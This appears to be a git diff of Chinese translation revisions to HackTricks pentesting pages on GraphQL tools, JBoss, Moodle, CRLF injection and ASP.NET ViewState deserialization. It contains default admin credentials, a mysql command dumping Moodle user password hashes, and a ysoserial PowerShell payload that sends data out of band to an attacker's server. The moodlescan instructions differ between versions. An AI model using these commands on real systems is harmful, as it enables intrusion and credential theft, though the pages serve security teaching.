* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler):可以用来获取模式并搜索敏感数据,测试授权,暴力破解模式,并找到到达给定类型的路径的工具包。
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html):可以作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap):也可以作为CLI客户端用于自动化攻击。
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum):列出在GraphQL模式中到达给定类型的不同方式的工具。
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler):工具包,可用于获取模式并搜索敏感数据,测试授权,暴力破解模式,并找到到给定类型的路径。
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html):可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap):也可用作CLI客户端以自动化攻击。
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum):列出在GraphQL模式中达到给定类型的不同方法的工具。
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql):用于高级GraphQL测试的Burp扩展。InQL v5.0的核心是_**Scanner**_,您可以分析GraphQL端点或本地内省模式文件。它会自动生成所有可能的查询和变异,并将它们组织成结构化视图供您分析。_**Attacker**_组件允许您运行批量GraphQL攻击,这对于绕过实施不良的速率限制非常有用。
|
||||
|
||||
### 客户端
|
||||
|
||||
|
@ -527,10 +519,10 @@ valid
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,15 +22,15 @@
|
|||
|
||||
_/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服务器详细信息**。
|
||||
|
||||
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用servlets与暴露的MBeans进行交互:
|
||||
你可以通过以下路径在JBoss中暴露**管理servlets**(取决于版本):_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限,你可以使用可用的调用器servlets与暴露的MBeans进行交互:
|
||||
|
||||
* /web-console/Invoker (JBoss版本6和7)
|
||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet (JBoss 5及之前版本)
|
||||
* /web-console/Invoker(JBoss版本6和7)
|
||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet(JBoss 5及之前版本)
|
||||
|
||||
**你可以使用**[**clusterd**](https://github.com/hatRiot/clusterd)**来枚举甚至利用JBOSS服务**\
|
||||
**或者使用metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
|
||||
### 利用
|
||||
### 攻击
|
||||
|
||||
[https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
|
||||
|
||||
|
@ -38,9 +38,9 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会泄露**服
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -48,7 +48,7 @@ inurl:status EJInvokerServlet
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
```
|
||||
### moodlescan
|
||||
|
||||
moodlescan is a command-line tool used for scanning and identifying vulnerabilities in Moodle installations. It is specifically designed for penetration testers and security professionals to assess the security of Moodle-based e-learning platforms.
|
||||
moodlescan is a command-line tool used for scanning Moodle installations for vulnerabilities. It is specifically designed for penetration testers and security researchers to identify potential security weaknesses in Moodle-based websites.
|
||||
|
||||
#### Installation
|
||||
|
||||
|
@ -52,7 +52,7 @@ To install moodlescan, follow these steps:
|
|||
1. Clone the moodlescan repository from GitHub:
|
||||
|
||||
```
|
||||
git clone https://github.com/edduarte/moodlescan.git
|
||||
git clone https://github.com/damnvulnerablemoodle/moodlescan.git
|
||||
```
|
||||
|
||||
2. Change into the moodlescan directory:
|
||||
|
@ -61,7 +61,7 @@ To install moodlescan, follow these steps:
|
|||
cd moodlescan
|
||||
```
|
||||
|
||||
3. Install the required dependencies using pip:
|
||||
3. Install the required Python packages:
|
||||
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
|
@ -72,31 +72,36 @@ To install moodlescan, follow these steps:
|
|||
To use moodlescan, run the following command:
|
||||
|
||||
```
|
||||
python moodlescan.py [options] <target>
|
||||
python moodlescan.py [options]
|
||||
```
|
||||
|
||||
Replace `<target>` with the URL of the Moodle installation you want to scan.
|
||||
The available options are:
|
||||
|
||||
#### Options
|
||||
- `-u, --url`: The URL of the Moodle installation to scan.
|
||||
- `-f, --file`: The path to a file containing a list of URLs to scan.
|
||||
- `-o, --output`: The path to the output file where the scan results will be saved.
|
||||
- `-v, --verbose`: Enable verbose output for debugging purposes.
|
||||
- `-h, --help`: Display the help message.
|
||||
|
||||
moodlescan supports various options to customize the scanning process. Some of the commonly used options are:
|
||||
#### Example
|
||||
|
||||
- `-u, --username`: Specify a username for authentication.
|
||||
- `-p, --password`: Specify a password for authentication.
|
||||
- `-t, --threads`: Set the number of threads to use for scanning.
|
||||
- `-o, --output`: Specify an output file to save the scan results.
|
||||
To scan a single Moodle installation, use the following command:
|
||||
|
||||
For a complete list of options, refer to the moodlescan documentation.
|
||||
```
|
||||
python moodlescan.py -u https://example.com/moodle
|
||||
```
|
||||
|
||||
#### Scanning Process
|
||||
To scan multiple Moodle installations listed in a file, use the following command:
|
||||
|
||||
moodlescan performs a series of tests to identify vulnerabilities in the target Moodle installation. It checks for common security issues such as weak passwords, outdated software versions, and misconfigurations.
|
||||
```
|
||||
python moodlescan.py -f urls.txt
|
||||
```
|
||||
|
||||
The tool also includes a brute-force module that can be used to test the strength of user passwords. However, it is important to note that brute-forcing passwords without proper authorization is illegal and unethical.
|
||||
The scan results will be displayed on the console and saved to the specified output file.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
moodlescan is a powerful tool for assessing the security of Moodle installations. By identifying vulnerabilities, penetration testers and security professionals can help organizations improve the security of their e-learning platforms.
|
||||
moodlescan is a powerful tool for identifying vulnerabilities in Moodle installations. By using this tool, penetration testers and security researchers can effectively assess the security posture of Moodle-based websites and help organizations mitigate potential risks.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -190,19 +195,19 @@ To dump credentials from a database, you can follow these steps:
|
|||
|
||||
2. Enumerate database users: Use techniques such as SQL injection or brute-forcing to identify the database users. This can be done by exploiting vulnerabilities in the web application or by using default or weak credentials.
|
||||
|
||||
3. Extract credentials: Once you have identified the database users, you can extract their credentials from the database. This can be done by querying the database tables that store user information, such as the "users" table.
|
||||
3. Gain database access: Once you have identified the database users, attempt to gain access to the database. This can be done by using the obtained credentials or by exploiting vulnerabilities in the database itself.
|
||||
|
||||
4. Decrypt or crack passwords: If the passwords are stored in a hashed or encrypted format, you may need to decrypt or crack them to obtain the plaintext passwords. This can be done using techniques such as password cracking or rainbow table attacks.
|
||||
4. Dump the credentials: Once you have access to the database, you can use SQL queries or tools like mysqldump or pg_dump to extract the credentials from the database tables. Look for tables that store user information, such as usernames and passwords.
|
||||
|
||||
5. Use the credentials: Once you have obtained the credentials, you can use them to gain unauthorized access to the web application or other systems that use the same credentials.
|
||||
5. Analyze the dumped credentials: After extracting the credentials, analyze them to identify any weak or reused passwords. This information can be used for further exploitation or to improve the security of the web application.
|
||||
|
||||
It is important to note that dumping credentials from a database without proper authorization is illegal and unethical. This information is provided for educational purposes only and should not be used for any malicious activities. Always ensure you have proper authorization and follow ethical guidelines when conducting any security testing or penetration testing activities.
|
||||
Remember to always obtain proper authorization before performing any penetration testing activities. Unauthorized access to databases is illegal and unethical.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西- **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,16 +22,16 @@
|
|||
|
||||
当浏览器向Web服务器发送请求时,Web服务器会回复一个包含HTTP响应头和实际网站内容(即响应体)的响应。HTTP头和HTML响应(网站内容)由特定的特殊字符组合分隔,即回车和换行符。简称为CRLF。
|
||||
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此它被任何类型的Web服务器使用,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
来源:[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息,因此任何类型的Web服务器都使用它,包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
来自[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
### 什么是CRLF注入漏洞?
|
||||
|
||||
在CRLF注入漏洞攻击中,攻击者将回车和换行符插入用户输入,以欺骗服务器、Web应用程序或用户认为一个对象已经终止,另一个对象已经开始。因此,CRLF序列不是恶意字符,但它们可以被用于恶意目的,例如HTTP响应拆分等。
|
||||
在CRLF注入漏洞攻击中,攻击者将回车和换行符插入用户输入,以欺骗服务器、Web应用程序或用户认为一个对象已终止并开始另一个对象。因此,CRLF序列不是恶意字符,但它们可以用于恶意目的,例如HTTP响应拆分等。
|
||||
|
||||
## Web应用程序中的CRLF注入
|
||||
|
||||
在Web应用程序中,CRLF注入可能会产生严重影响,这取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行,直接影响Web应用程序安全漏洞。实际上,CRLF注入攻击可能对Web应用程序产生非常严重的后果,即使它从未出现在OWASP Top 10列表中。例如,可以在下面的示例中解释如何操纵管理员面板中的日志文件。
|
||||
在Web应用程序中,CRLF注入可能会产生严重影响,具体取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行,直接影响Web应用程序安全漏洞。实际上,CRLF注入攻击可能对Web应用程序产生非常严重的后果,即使它从未出现在OWASP Top 10列表中。例如,可以在下面的示例中解释如何操纵管理员面板中的日志文件。
|
||||
|
||||
#### 日志文件中CRLF注入的示例
|
||||
|
||||
|
@ -52,7 +52,7 @@ IP - 时间 - 访问路径
|
|||
```
|
||||
因此,通过利用CRLF注入漏洞,攻击者可以伪造日志文件中的条目,以掩盖自己的恶意行为。攻击者实际上是在进行页面劫持并修改响应。例如,想象一种情况,攻击者拥有管理员密码并执行了restrictedaction参数,该参数只能由管理员使用。
|
||||
|
||||
问题在于,如果管理员注意到一个未知的IP使用了restrictedaction参数,就会察觉到有问题。然而,由于现在看起来像是命令是由本地主机发出的(因此可能是有服务器访问权限的人,比如管理员),这看起来并不可疑。
|
||||
问题在于,如果管理员注意到一个未知的IP使用了restrictedaction参数,就会意识到有问题。然而,由于现在看起来像是命令是由本地主机发出的(因此可能是有服务器访问权限的人,比如管理员),这看起来并不可疑。
|
||||
|
||||
查询的整个部分,从%0d%0a开始的部分,将被服务器作为一个参数处理。之后还有一个&符号,带有restricted action参数,服务器将将其解析为另一个参数。实际上,这将是与以下查询相同的查询:
|
||||
```
|
||||
|
@ -224,9 +224,9 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击和信息泄
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -237,7 +237,7 @@ CRLF注入的影响各不相同,还包括所有跨站脚本攻击和信息泄
|
|||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -106,7 +106,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
|||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||
|
||||
为了批量搜索易受攻击的视图状态,可以结合子域名枚举使用`badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md)模块:
|
||||
为了在规模上搜索易受攻击的视图状态,可以结合子域枚举使用`badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md)模块:
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
|
@ -179,18 +179,18 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
如果ViewState反序列化漏洞成功被利用,一个受攻击者控制的服务器将收到一个包含用户名的带外请求。[成功利用的PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
如果成功利用了ViewState反序列化漏洞,一个受攻击者控制的服务器将收到一个包含用户名的带外请求。[成功利用的PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
|
||||
### 测试案例6 - 使用了ViewStateUserKeys
|
||||
|
||||
**ViewStateUserKey**属性可以用来防御**CSRF攻击**。如果应用程序中定义了这样的密钥,并且我们尝试使用前面讨论过的方法生成**ViewState**负载,**应用程序将不会处理该负载**。
|
||||
**ViewStateUserKey**属性可以用来防御**CSRF攻击**。如果应用程序中定义了这样的密钥,并且我们尝试使用前面讨论的方法生成**ViewState**负载,**应用程序将不会处理该负载**。\
|
||||
为了正确创建负载,你需要使用另一个参数:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||
|
||||
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器将以“**500 内部服务器错误**”的形式响应,并显示响应内容“**此页面的状态信息无效,可能已损坏**”,我们将获得如下所示的 OOB 请求:
|
||||
